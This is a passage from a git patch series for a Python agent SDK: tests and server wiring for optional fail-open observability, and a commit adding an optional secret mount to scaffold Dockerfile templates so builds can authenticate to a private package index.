"unknown".""" + monkeypatch.setenv("AGENT_NAME", "compass-sleep-agent") + seen = self._capture(monkeypatch) + init_sgp_obs() + assert seen["service_name"] == "compass-sleep-agent" + + @pytest.mark.parametrize("raw", ["", " "]) + def test_blank_agent_name_is_passed_as_none(self, monkeypatch, raw): + """Blank is the Helm rendered-empty idiom. Forwarding "" would have sgp-obs + set OTEL_SERVICE_NAME to an empty string rather than leave it alone.""" + monkeypatch.setenv("AGENT_NAME", raw) + seen = self._capture(monkeypatch) + init_sgp_obs() + assert seen["service_name"] is None + + +class TestFailOpen: + def test_an_exception_from_init_is_swallowed(self, monkeypatch): + def boom(**_kwargs): + raise ValueError("boom") + + _fake_sgp_obs(monkeypatch, boom) + assert init_sgp_obs() == "error" + + def test_a_ci_logs_misconfiguration_still_does_not_stop_startup(self, monkeypatch): + """sgp_obs.init has one deliberate exception to its own fail-open rule: under + the CI variable, a logs misconfiguration raises. An agent must still serve.""" + + def strict(**_kwargs): + raise RuntimeError("MisconfigurationError: drop mode without an allowlist") + + _fake_sgp_obs(monkeypatch, strict) + assert init_sgp_obs() == "error" + + def test_status_is_computed_once(self, monkeypatch): + """A Temporal worker and an ACP server can both reach this in one process; + sgp_obs.init() is not meant to run twice.""" + calls = [] + + def counting(**kwargs): + calls.append(kwargs) + return {"metrics": object()} + + _fake_sgp_obs(monkeypatch, counting) + assert init_sgp_obs() == "wired:metrics" + assert init_sgp_obs() == "wired:metrics" + assert len(calls) == 1 + + +class TestShutdown: + async def test_flushes_when_wired(self, monkeypatch): + """Without this the periodic exporter's buffer is dropped when the pod + stops, which for a short-lived agent can be most of what it recorded.""" + called = [] + _fake_sgp_obs(monkeypatch, shutdown=lambda: called.append(True)) + assert init_sgp_obs() == "wired:metrics" + await shutdown_sgp_obs() + assert called == [True] + + async def test_no_flush_when_never_wired(self, monkeypatch): + called = [] + _fake_sgp_obs( + monkeypatch, init=lambda **_kwargs: {}, shutdown=lambda: called.append(True) + ) + assert init_sgp_obs() == "disabled" + await shutdown_sgp_obs() + assert called == [] + + async def test_no_flush_before_init(self, monkeypatch): + """Called from the lifespan's finally, which runs even if startup failed + before the constructor's init_sgp_obs ever ran.""" + called = [] + _fake_sgp_obs(monkeypatch, shutdown=lambda: called.append(True)) + await shutdown_sgp_obs() + assert called == [] + + async def test_an_older_sgp_obs_without_shutdown_is_tolerated(self, monkeypatch): + """shutdown() arrived in 0.16.0. This package declares no dependency on + sgp-obs and so cannot set a floor, hence feature detection.""" + _fake_sgp_obs(monkeypatch) # no shutdown attribute + assert init_sgp_obs() == "wired:metrics" + await shutdown_sgp_obs() # must not raise + + async def test_a_failing_flush_does_not_fail_shutdown(self, monkeypatch): + def boom(): + raise RuntimeError("exporter timed out") + + _fake_sgp_obs(monkeypatch, shutdown=boom) + assert init_sgp_obs() == "wired:metrics" + await shutdown_sgp_obs() # must not raise + + +class TestAnAgentStillServesWithoutSgpObs: + """Nitesh's verification item, startup half: an account not yet on the + CodeArtifact allowlist gets an image with no ``sgp_obs`` in it. The gate + returning ``not_installed`` is necessary but not sufficient — what has to hold + is that the ACP server still constructs and still answers requests. This + exercises the real constructor, which is where ``init_sgp_obs`` is called. + """ + + def test_acp_server_constructs_and_serves_healthz(self, monkeypatch): + from fastapi.testclient import TestClient + + from agentex.lib.sdk.fastacp.base.base_acp_server import BaseACPServer + + # Import first, unpatched, so the deep FastACP dependency chain loads + # cleanly; only sgp_obs is hidden, and only while the constructor runs. + _block_sgp_obs_import(monkeypatch) + + server = BaseACPServer() + assert sgp_obs_setup._status == "not_installed" + + # No `with`: that would run the lifespan, which registers the agent + # against a live control plane. + response = TestClient(server).get("/healthz") + assert response.status_code == 200 + assert response.json() == {"status": "healthy"} + + def test_the_json_rpc_route_is_still_mounted(self, monkeypatch): + """A server that answers /healthz but lost /api would pass a liveness probe + and fail every actual request.""" + from agentex.lib.sdk.fastacp.base.base_acp_server import BaseACPServer + + _block_sgp_obs_import(monkeypatch) + routes = {getattr(r, "path", None) for r in BaseACPServer().routes} + assert {"/healthz", "/api"} <= routes diff --git a/src/agentex/lib/sdk/fastacp/base/base_acp_server.py b/src/agentex/lib/sdk/fastacp/base/base_acp_server.py index 864b466d0..0a5a036cc 100644 --- a/src/agentex/lib/sdk/fastacp/base/base_acp_server.py +++ b/src/agentex/lib/sdk/fastacp/base/base_acp_server.py @@ -39,6 +39,7 @@ FASTACP_HEADER_SKIP_EXACT, FASTACP_HEADER_SKIP_PREFIXES, ) +from agentex.lib.core.observability.sgp_obs_setup import init_sgp_obs, shutdown_sgp_obs logger = make_logger(__name__) @@ -139,6 +140,20 @@ def __init__(self): # Method handlers # this just adds a request ID to the request and response headers self.add_middleware(RequestIDMiddleware) + + # Optional observability (traces, metrics, logs), off unless sgp-obs is + # installed AND the SGP_OBS_* environment switches ask for it — see + # observability/sgp_obs_setup.py for the two gates. sgp-obs is deliberately + # not a dependency of this package; the agent declares it. Returns a status + # instead of raising: a telemetry problem must never stop an agent starting. + # + # Here rather than in the lifespan, deliberately: sgp-obs installs ASGI + # instrumentation via add_middleware, and Starlette raises "Cannot add middleware + # after an application has started" once the lifespan is running. Wiring it there + # loses http.server.* for the agent's own entry point — and loses it QUIETLY, + # because sgp-obs fails open. + init_sgp_obs(app=self) + self._handlers: dict[RPCMethod, Callable] = {} # Agent info to return in healthz @@ -176,6 +191,11 @@ async def lifespan_context(app: FastAPI): # noqa: ARG001 yield finally: await shutdown_default_span_queue() + # Flush whatever sgp-obs still holds. A periodic exporter's buffer + # is otherwise dropped when the pod stops, which for a short-lived + # or scaled-to-zero agent can be most of what it recorded. No-op + # when sgp-obs is absent or was never wired. + await shutdown_sgp_obs() return lifespan_context From e6d776cb3c299d453b896df83cc73bb8c1eb5bbf Mon Sep 17 00:00:00 2001 From: Sirui Wang Date: Fri, 11 Sep 2026 13:47:45 -0700 Subject: [PATCH 06/15] feat(cli): mount the brokered CodeArtifact secret in the scaffold Dockerfiles MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit An agent created by `agentex init` could not install sgp-obs: none of the 38 scaffold Dockerfiles mounted the `codeartifact-pip-conf` secret the control-plane broker injects, so the private index was unreachable at build time. This is the per-agent half of the adoption cost — 104 of 146 existing agent Dockerfiles lack the mount too. AGX1-1113. Inert by default. `required=false` plus an `-s` guard means the build is byte-identical when no secret is injected, which is every local build, every CI build, and every agent that never opts in. An empty file is skipped too. The two template shapes need different mechanisms, and mixing them up is exactly the trap that cost a deploy cycle on the pilot: - `Dockerfile-uv.j2` runs `uv sync` against the agent's pyproject, so uv can read a named index out of it. Uses the pilot's pattern verbatim: export UV_INDEX_SCALE_PYPI_USERNAME/PASSWORD, which uv binds to the [[tool.uv.index]] named `scale-pypi`. The comment tells the adopter to add that index and that the name must match exactly. The token is percent-decoded on the way out of the pip config, because the buildspec URL-encodes it into the URL userinfo and a token containing + / = arrives as %2B %2F %3D. - `Dockerfile.j2` installs from requirements.txt, so no pyproject is present and there is no named index for credentials to bind to. Takes the credentialed URL straight from the injected pip config via UV_DEFAULT_INDEX. Nothing is decoded here, and that is the point: the token stays inside the URL, already encoded for exactly that use. Decoding it here would corrupt it — the inverse of the uv-sync case. Verified rather than assumed, since no Docker daemon was available to build images: - All 38 templates render as jinja and all 138 resulting RUN bodies pass `sh -n`. - Both extraction paths run against a realistic broker-injected pip config whose token contains + / =. The named-index path recovers the exact token; the URL path leaves the userinfo encoded and still parses. - uv honours UV_DEFAULT_INDEX: with it set to a bogus host, uv requested `https://bogus-index.invalid/simple/requests/` rather than PyPI. - uv binds UV_INDEX_SCALE_PYPI_* to an index named `scale-pypi`: a local server declared as that index received `Authorization: Basic aws:tok+en/with=specials`, with the + / = intact. That is also the proof the decode matters — passing the still-encoded token would have sent a different string. - The no-secret and empty-secret paths export nothing and fall through to PyPI. Scope: the 38 `agentex init` templates only. The 37 tutorial and demo Dockerfiles use a third shape (`uv pip install --system .[dev]`, with a pyproject present, so the named-index pattern applies) and are left out deliberately to keep this diff reviewable; they are examples, not scaffold output. Co-Authored-By: Claude Opus 5 --- .../default-claude-code/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../default-claude-code/Dockerfile.j2 | 16 ++++++++++- .../templates/default-codex/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../cli/templates/default-codex/Dockerfile.j2 | 16 ++++++++++- .../default-langgraph/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../templates/default-langgraph/Dockerfile.j2 | 16 ++++++++++- .../default-openai-agents/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../default-openai-agents/Dockerfile.j2 | 16 ++++++++++- .../default-pydantic-ai/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../default-pydantic-ai/Dockerfile.j2 | 16 ++++++++++- .../cli/templates/default/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../lib/cli/templates/default/Dockerfile.j2 | 16 ++++++++++- .../sync-claude-code/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../templates/sync-claude-code/Dockerfile.j2 | 16 ++++++++++- .../cli/templates/sync-codex/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../cli/templates/sync-codex/Dockerfile.j2 | 16 ++++++++++- .../templates/sync-langgraph/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../templates/sync-langgraph/Dockerfile.j2 | 16 ++++++++++- .../Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../Dockerfile.j2 | 16 ++++++++++- .../sync-openai-agents/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../sync-openai-agents/Dockerfile.j2 | 16 ++++++++++- .../sync-pydantic-ai/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../templates/sync-pydantic-ai/Dockerfile.j2 | 16 ++++++++++- .../lib/cli/templates/sync/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../lib/cli/templates/sync/Dockerfile.j2 | 16 ++++++++++- .../temporal-claude-code/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../temporal-claude-code/Dockerfile.j2 | 16 ++++++++++- .../templates/temporal-codex/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../templates/temporal-codex/Dockerfile.j2 | 16 ++++++++++- .../temporal-langgraph/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../temporal-langgraph/Dockerfile.j2 | 16 ++++++++++- .../temporal-openai-agents/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../temporal-openai-agents/Dockerfile.j2 | 16 ++++++++++- .../temporal-pydantic-ai/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../temporal-pydantic-ai/Dockerfile.j2 | 16 ++++++++++- .../cli/templates/temporal/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../lib/cli/templates/temporal/Dockerfile.j2 | 16 ++++++++++- 38 files changed, 817 insertions(+), 19 deletions(-) diff --git a/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 index 93d0f82d1..36d2cd787 100644 --- a/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 @@ -34,7 +34,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -42,6 +64,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/default-claude-code/Dockerfile.j2 b/src/agentex/lib/cli/templates/default-claude-code/Dockerfile.j2 index d714d96f9..173622e49 100644 --- a/src/agentex/lib/cli/templates/default-claude-code/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default-claude-code/Dockerfile.j2 @@ -33,8 +33,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 index 02860b9b9..d926486ca 100644 --- a/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 @@ -34,7 +34,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -42,6 +64,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/default-codex/Dockerfile.j2 b/src/agentex/lib/cli/templates/default-codex/Dockerfile.j2 index 1a8eb1484..d75e418e1 100644 --- a/src/agentex/lib/cli/templates/default-codex/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default-codex/Dockerfile.j2 @@ -33,8 +33,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 index dd3035f7b..081e0d563 100644 --- a/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 @@ -30,7 +30,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -38,6 +60,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/default-langgraph/Dockerfile.j2 b/src/agentex/lib/cli/templates/default-langgraph/Dockerfile.j2 index 0395caf74..7c6d72ed9 100644 --- a/src/agentex/lib/cli/templates/default-langgraph/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default-langgraph/Dockerfile.j2 @@ -29,8 +29,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 index dd3035f7b..081e0d563 100644 --- a/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 @@ -30,7 +30,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -38,6 +60,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile.j2 b/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile.j2 index 056d60b96..73edfe479 100644 --- a/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile.j2 @@ -29,8 +29,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 index dd3035f7b..081e0d563 100644 --- a/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 @@ -30,7 +30,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -38,6 +60,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile.j2 b/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile.j2 index 0395caf74..7c6d72ed9 100644 --- a/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile.j2 @@ -29,8 +29,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' 